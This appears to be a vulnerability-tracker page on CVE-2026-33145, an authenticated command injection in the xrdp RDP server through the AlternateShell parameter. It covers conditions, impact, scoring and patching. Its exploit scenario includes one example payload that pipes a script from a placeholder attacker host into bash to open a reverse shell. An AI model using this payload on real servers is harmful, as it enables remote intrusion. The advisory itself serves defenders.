Skip to main content

Xrdp EUVDEUVD-2026-23510

| CVE-2026-33145 MEDIUM
OS Command Injection (CWE-78)
2026-04-17 GitHub_M
6.3
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    RDP client obtains valid credentials
  2. Delivery
    Establish RDP connection to target server
  3. Exploit
    Craft malicious AlternateShell parameter with shell metacharacters
  4. Install
    xrdp-sesman receives and concatenates parameter into shell command
  5. C2
    /bin/sh -c interprets and executes injected payload
  6. Execute
    Arbitrary commands execute in user session context
  7. Impact
    Attacker achieves command execution for data exfiltration or persistence

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The vulnerability requires three specific conditions: (1) the target xrdp server must have AllowAlternateShell enabled in its configuration (the default when not explicitly set to false in xrdp.ini); (2) the attacker must possess valid RDP user credentials-either a legitimate account or stolen credentials-authentication cannot be bypassed; (3) the xrdp server must be version 0.10.5 or earlier. Non-default configurations where AllowAlternateShell=false is explicitly set prevent exploitation entirely. The vulnerability is network-accessible and requires no special client-side setup beyond standard RDP client tools that allow parameter customization (such as xfreerdp or rdesktop with command-line flags). Exploitation does not require user interaction; the command executes automatically during unattended session initialization. The attack scope is limited to the authenticated user's own session context; command execution occurs with that user's UID and GID, not as root or a system account, unless the authenticated account itself has elevated privileges.

Impact

The real-world risk is moderate to high despite the CVSS 6.3 score. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L) correctly reflects the network attack surface, low attack complexity, and requirement for prior authentication. However, several factors elevate practical risk: (1) AllowAlternateShell defaults to enabled, so any environment not explicitly disabling it is vulnerable; (2) the vulnerability requires only valid RDP credentials, which are common in corporate environments with shared RDP access or weak credential hygiene; (3) command execution occurs with the authenticated user's privileges in their session context, sufficient for lateral movement, data exfiltration, or persistence within that user's access scope; (4) the execution happens before window manager initialization, allowing scripts to run unattended and unnoticed in a stealth phase. The CVSS scope is Unchanged (S:U), meaning impact is limited to the user's own session, not server-wide privilege escalation-this correctly prevents a higher score but does not eliminate risk for targeted attacks on specific accounts. No public exploit code or active exploitation has been identified, reducing immediate weaponization risk. However, the vulnerability is trivial to exploit (a simple RDP client parameter modification or tool like xfreerdp with --alternate-shell flag), and the fix has been available since version 0.10.6. Organizations still running 0.10.5 or earlier are making a conscious risk tolerance decision.

Exploit ScenarioDerived

An attacker with valid RDP credentials (obtained via credential theft, phishing, or weak passwords) connects to an xrdp server running version 0.10.5 with AllowAlternateShell enabled (default). The attacker modifies the RDP client's connection parameters to set AlternateShell to a payload such as '/bin/sh -c "id > /tmp/proof.txt; curl http://attacker.com/shell.sh | bash"' or similar. During session initialization, xrdp-sesman executes this unsanitized payload via /bin/sh -c, allowing the attacker to run arbitrary commands (in this example, writing output to a file and downloading a reverse shell script) in the context of the authenticated user's session, all before the RDP desktop appears.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 17, 2026

Authenticated remote command execution in xrdp through version 0.10.5 allows users to execute arbitrary shell commands on the RDP server via an unsanitized AlternateShell parameter during session initialization. When AllowAlternateShell is enabled (the default configuration), xrdp passes client-supplied shell commands directly to /bin/sh -c without sanitization, bypassing normal session constraints. An authenticated RDP user can exploit this to run arbitrary commands in the context of their login session before the window manager starts, with no public exploit code identified at time of analysis.

RemediationAI

Upgrade xrdp to version 0.10.6 or later immediately; this is the vendor-released patch that fixes the AlternateShell command injection. The upgrade can be performed via package managers (apt upgrade xrdp on Debian/Ubuntu systems) or by rebuilding from source from the official GitHub repository. For organizations unable to upgrade immediately, implement the following compensating controls: (1) disable the AllowAlternateShell feature by setting AllowAlternateShell=false in /etc/xrdp/xrdp.ini on all xrdp servers, then restart the xrdp service (sudo systemctl restart xrdp); this eliminates the attack surface but prevents users from specifying custom shells, potentially breaking workflows that rely on shell customization; (2) restrict RDP access at the firewall or network level to only trusted IP ranges or VPN subnets, reducing the exposed authentication surface; (3) enforce strong RDP authentication via Network Policy Server (NPS) or RADIUS where available, preventing credential-based attacks; (4) monitor xrdp logs for failed connection attempts or unusual session parameters, though log coverage for AlternateShell injection attempts may be limited. None of these workarounds fully mitigate the flaw if AllowAlternateShell remains enabled, so patch deployment is strongly preferred. Reference vendor advisory: https://github.com/neutrinolabs/xrdp/security/advisories/GHSA-rmvv-7633-fg7h

Affected VersionsENISA

xrdp < 0.10.6

Affected Packages

euvd xrdp fix: 0.10.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

xrdp is an open-source Remote Desktop Protocol (RDP) server implementation that allows remote graphical access to Linux systems. The vulnerability resides in xrdp-sesman, the session manager component responsible for initializing and managing RDP sessions. When a client connects, xrdp-sesman accepts connection parameters including the AlternateShell setting, which is intended to specify an alternative login shell for the session. The vulnerability stems from unsafe command construction: the user-controlled AlternateShell value is concatenated directly into a shell command string and executed via /bin/sh -c without input validation or escaping. This represents a classic command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command) where shell metacharacters in the AlternateShell parameter are interpreted by the shell rather than treated as literal argument data. The AllowAlternateShell setting defaults to enabled, meaning systems are vulnerable by default unless explicitly configured otherwise. The flaw occurs during early session initialization, before the normal RDP desktop environment (typically X11 or Wayland) is established, allowing attackers to execute commands outside the expected interactive desktop sandbox.

Know when Xrdp gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.3 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
SUSE MEDIUM

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

Lifecycle Timeline

3
Patch released
Apr 27, 2026 - 14:13 nvd
Patch available
Patch available
Apr 17, 2026 - 21:16 EUVD
CVE Published
Apr 17, 2026 - 20:14 nvd
MEDIUM 6.3

DescriptionCVE.org

xrdp is an open source RDP server. Versions through 0.10.5 allow an authenticated remote user to execute arbitrary commands on the server due to unsafe handling of the AlternateShell parameter in xrdp-sesman. When the AllowAlternateShell setting is enabled (which is the default when not explicitly configured), xrdp accepts a client-supplied AlternateShell value and executes it via /bin/sh -c during session initialization. This results in shell-interpreted execution of unsanitized, user-controlled input. This behavior effectively provides a scriptable remote command execution primitive over RDP within the security context of the authenticated user, occurring prior to normal window manager startup. This can bypass expected session initialization flows and operational assumptions that restrict execution to interactive desktop environments. This issue has been fixed in version 0.10.6.

Threat Intelligence Overview

EPSS Score
0.1%
Top 76% exploitable
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Xrdp

View all
CVE-2026-41252 CRITICAL
9.8 Jul 09

Remote unauthenticated heap buffer overflow in xrdp (the open-source Remote Desktop Protocol server from neutrinolabs) a

CVE-2013-1430 CRITICAL
9.8 Dec 16

An issue was discovered in xrdp before 0.9.1. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploit

CVE-2024-39917 CRITICAL
9.8 Jul 12

xrdp is an open source RDP server. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no au

CVE-2022-23484 CRITICAL
9.8 Dec 09

xrdp is an open source project which provides a graphical login to remote machines using Microsoft Remote Desktop Protoc

CVE-2022-23480 CRITICAL
9.8 Dec 09

xrdp is an open source project which provides a graphical login to remote machines using Microsoft Remote Desktop Protoc

CVE-2022-23479 CRITICAL
9.8 Dec 09

xrdp is an open source project which provides a graphical login to remote machines using Microsoft Remote Desktop Protoc

CVE-2022-23478 CRITICAL
9.8 Dec 09

xrdp is an open source project which provides a graphical login to remote machines using Microsoft Remote Desktop Protoc

CVE-2022-23477 CRITICAL
9.8 Dec 09

xrdp is an open source project which provides a graphical login to remote machines using Microsoft Remote Desktop Protoc

CVE-2022-23468 CRITICAL
9.8 Dec 09

xrdp is an open source project which provides a graphical login to remote machines using Microsoft Remote Desktop Protoc

CVE-2026-32105 CRITICAL
9.3 Apr 17

Missing MAC signature verification in xrdp 0.10.5 and earlier allows man-in-the-middle attackers to modify encrypted RDP

CVE-2026-41521 CRITICAL
9.1 Jul 09

Information disclosure in xrdp (neutrinolabs open-source RDP server) before version 0.10.6.1 stems from an integer overf

CVE-2025-68670 CRITICAL
9.1 Jan 27

xrdp open-source RDP server before v0.10.5 has an unauthenticated stack buffer overflow enabling remote code execution.

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Fixed
SUSE Linux Enterprise High Performance Computing 15 SP7 Fixed
SUSE Linux Enterprise Module for Basesystem 15 SP7 Fixed
SUSE Linux Enterprise Server 15 SP7 Fixed
SUSE Linux Enterprise Server for SAP Applications 15 SP7 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy